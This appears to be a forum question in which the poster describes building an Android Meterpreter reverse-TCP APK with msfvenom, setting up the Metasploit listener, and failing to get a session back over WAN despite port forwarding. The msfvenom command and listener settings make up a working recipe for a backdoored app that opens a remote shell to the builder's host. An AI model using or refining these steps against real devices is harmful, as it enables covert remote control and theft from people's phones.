My problem is that I can't connect back to my listener over WAN, I can do it on LAN and it works perfectly. I do that the following way:
msfvenom -p android/meterpreter/reversetcp LHOST=my public IP LPORT=4444 R > apkname.apk
Then I set up the listener as:
set payload android/meterpreter/reversetcp
set LHOST my local IP
set LPORT 4444
I install the apk on the device and I connect to a different network instead of mine, as I've seen other places it should start the meterpreter session but nothing happens.
I forwarded the port 4444 correctly and I'm absolutely sure that my ISP doesn't block that.
Here's a screenshot of the setup, my router/modem is Huawei HG658.